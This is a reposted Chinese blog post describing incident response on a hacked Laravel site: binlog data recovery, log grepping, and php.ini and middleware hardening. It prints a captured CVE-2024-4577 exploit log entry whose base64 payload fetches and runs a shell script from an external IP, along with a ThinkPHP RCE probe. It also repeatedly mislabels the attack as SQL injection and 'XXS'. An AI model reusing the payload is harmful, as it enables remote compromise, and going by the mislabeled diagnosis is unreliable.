0


PHP的破与补安全实践:我的经验让你的程序更加强大

大家好,我是一个热爱编程、热衷于解决问题的开发者。今天,我想和大家分享一次紧张刺激的经历,一个关于如何在紧急情况下运用我的专业技能,帮助朋友的公司挽回重大损失的故事。
在这里插入图片描述

昨天下午,我接到了一个朋友的紧急电话。他的声音听起来焦虑不安,告诉我他们公司的网站遭受了SQL注入攻击,数据库被恶意删除,导致公司损失了近10万元。他们已经报了案,但警方那边还没有任何进展。公司让他帮找人手做一下恢复。我知道这种情况下,每一分钟都至关重要。

先镜像整个系统。快照下,方便后面取证。估计对破案应没什么用大家都知道的。

救火行动:恢复数据

首先,我立即行动起来,决定先恢复数据库,让系统重新运行起来。我选择了使用MySQL的二进制日志进行数据恢复。通过以下步骤,我成功地让数据回到了被攻击之前的状态:
先登录系统查看MySQL的二进制日志已经开启。运行不错,默认是开启的。找到查找要恢复的mysql-bin.000004文件。
用上mysqlbinlog,mysqlbinlog 是一个用于读取和处理MySQL二进制日志文件的命令行工具。它可以将binlog文件的内容转换为SQL语句,以便可以在MySQL服务器上执行这些语句。以下是一个基本的命令示例,用于恢复整个binlog文件:

mysqlbinlog /var/log/mysql/mysql-bin.000004 | mysql -u root -p

我又怕数据不完整,可以指定恢复特定时间范围内的数据,选项来指定这个范围。以下是修改时间后的命令示例:

mysqlbinlog --start-datetime="2024-11-01 00:00:00" --stop-datetime="2024-11-02 00:00:00" /var/log/mysql/mysql-bin.000001 | mysql -u root -p

然后经过数据整理sql,现在sql的增册改查就出来。我整理好然后导入到数据库,让朋友去核对。

这个过程虽然繁琐,在我的一顿猛如虎的操作下,数据很快就恢复了。最重要的用户数据和财务数据保住了,调试一下应没有问题了,公司终于可以暂时松一口气。

第二,查找攻击源头

先是抢救数据,然后在找攻击的源头。如果这解决不了,前面的工作说不定一会就白做了。

追根溯源:排查日志

接下来,我开始查找攻击的源头。我深知,只有找到问题所在,才能彻底堵住安全漏洞。
查看Nginx日志:我首先检查了Nginx的访问日志,寻找异常的请求。通过分析日志,我竟然没有找到。这里记录下过程

在这里插入图片描述

nginx的日志

先定位找到nginx的日志access.log文件
搜索潜在的XXS攻击特征: XXS攻击通常包含JavaScript代码或特殊字符,可以通过以下命令搜索这些特征:
···
sudo grep ‘<script’ /www/wwwlogs/access.log
sudo grep ‘οnerrοr=’ /www/wwwlogs/access.log
sudo grep ‘οnlοad=’ /www/wwwlogs/access.log
sudo grep ‘eval(’ /www/wwwlogs/access.log
sudo grep ‘alert(’ /www/wwwlogs/access.log
sudo grep ‘exec(’ /www/wwwlogs/access.log
···
没有找到,失败。

php-fpm的日志

继续检查php-fpm的慢日志

(base) root@VM-4-7-ubuntu:find /-name php-fpm-slowlog.log
(base) root@VM-4-7-ubuntu:/www/server/php/74/var/log# pwd
/www/server/php/74/var/log
(base) root@VM-4-7-ubuntu:/www/server/php/74/var/log# tail -n 2000  php-fpm.log | nl
grep - r  'exec('   php-fpm.log
(base) root@VM-4-7-ubuntu:/www/server/php/74/var/log# tail -n 2000  php-fpm.log | nl
grep - r  'eval('   php-fpm.log

没有找到,失败。

审查Laravel日志

于网站是基于Laravel框架开发的,我自然不会错过laravel.log文件。这个日志文件详细记录了应用程序的运行情况,为我提供了更多线索。
真相大白:发现漏洞
在这里插入图片描述

[2024-11-02 03:18:15] local.INFO: Input Parameters: {"<?php_shell_exec(base64_decode(\"WD0kKGN1cmwgaHR0cDovLzk0LjE1Ni4xNzcuMTA5L3NoIHx8IHdnZXQgaHR0cDovLzk0LjE1Ni4xNzcuMTA5L3NoIC1PLSk7IGVjaG8gIiRYIiB8IHNoIC1zIGN2ZV8yMDI0XzQ1Nzcuc2VsZnJlcA":"=\")); echo(md5(\"Hello CVE-2024-4577\")); ?>","hello_world":"","�d_allow_url_include=1_�d_auto_prepend_file=php://input":""} 
[2024-11-02 03:18:27] local.INFO: Input Parameters: {"s":"/index/\\think\\app/invokefunction","function":"call_user_func_array","vars":["md5",["Hello"]]} 

是通过exec和php://input来注入xxs攻击。问题找到了。我终于放下心了,看来经验还行。

救治漏洞

看以xxs攻击,我问了一下是使用Laravel框架,传参使用的是
在这里插入图片描述
$request->all()的写法,并不能阻止xxs攻击和注入。

限制 php://input

限制 php://input 的使用
确保你的应用程序不使用 php://input 来执行代码。如果你不需要这个功能,可以在 php.ini 中设置:

allow_url_include = Off
禁用危险函数

确保你的 PHP 配置中禁用了可能导致远程代码执行的函数,如 shell_exec。你可以在 php.ini 文件中设置 disable_functions:

disable_functions = shell_exec, exec, system, passthru, ...
中间件

使用中间件来检查请求
创建一个中间件来检查请求中是否有潜在的危险内容,并在检测到时中止请求。

public function handle(Request $request, Closure$next)
{
    // 检查请求内容是否有潜在的危险代码
    if ($this->containsDangerousCode($request->getContent())) {
        // 如果检测到危险代码,则中止请求
        abort(400, 'Potential code injection detected.');
    }

    return $next($request);
}

protected function containsDangerousCode($content)
{
    // 使用正则表达式或其他方法来检测危险代码模式
    // 这只是一个示例,实际的正则表达式应该更复杂
    $pattern = '/<\?(php|=)|\b(shell_exec|exec|system|passthru|base64_decode)\b/i';
    return preg_match($pattern,$content);
}
局部的限制

如果实在不能全局禁用php://input 的使用,可以针对性的在接口加入检查xss输入的风险。但是一定要更多小心,多排查。

在接口类继续一个CommonController.php文件,检查输入。如果是非法的,就使用400来禁止。


class CommonController extends BaseController
{
    use AuthorizesRequests, DispatchesJobs, ValidatesRequests,CommonController;
    const SUCCESS_200 = "操作成功";
    const ERROR_2001 = "自定义错误";
    const ERROR_2002 = "登录失败,请检查用户名和密码";
    const ERROR_9999 = "系统错误,请联系系统管理员";
    const ERROR_2010 = "token验证出错";

    public $userInfo =[] ;

    public function __construct() {
        // 检查请求中的参数
        foreach (request()->all() as $key => $value) {
            if ($this->isXssAttack($value)) {
                // 如果检测到 XSS 攻击,则返回错误响应
                abort(400, 'Potential XSS attack detected.');
            }
        }

        // 检查请求是否有潜在的风险
        if ($this->isPhpInputUsed()) {
            // 如果检测到 php://input 的使用,则中止请求
            abort(400, 'php://input usage is not allowed.');
        }

    }

    protected function isXssAttack($value)
    {
        if (!$value) return false;
        // 简单的正则表达式来检测潜在的 XSS 攻击模式
        // 注意:这只是一个示例,实际的正则表达式应该更复杂以提供更好的保护
        $pattern = '/<(\s)*script(\s)*[^>]*>/i';
        return preg_match($pattern,$value);
    }

    protected function isPhpInputUsed()
    {
        // 检查请求参数或服务器变量中是否有 php://input 的引用
        foreach (request()->all() as $key => $value) {
            if (is_string($value) && strpos($value, 'php://input') !== false) {
                return true;
            }
        }

        return false;
    }

目前在发稿时,此方法是有效的

结语:能力与责任

这次经历再次证明,作为一名开发人员,我们的能力不仅仅局限于编写代码,更在于能够在关键时刻挺身而出,解决问题。我很庆幸能够运用我的专业技能,帮助朋友的公司挽回了损失。

同时,我也想提醒大家,网络安全无小事。无论是个人项目还是企业应用,都应当时刻保持警惕,加强安全防护。希望我的这次经历能给大家带来一些启示。

感谢阅读,我是那个热爱编程、乐于助人的开发者,让我们一起在代码的世界里不断前行。

标签: php 安全 xxs入侵

本文转载自: https://blog.csdn.net/ylong52/article/details/143448923
版权归原作者 黑金IT 所有, 如有侵权,请联系我们删除。

“PHP的破与补安全实践:我的经验让你的程序更加强大”的评论:

还没有评论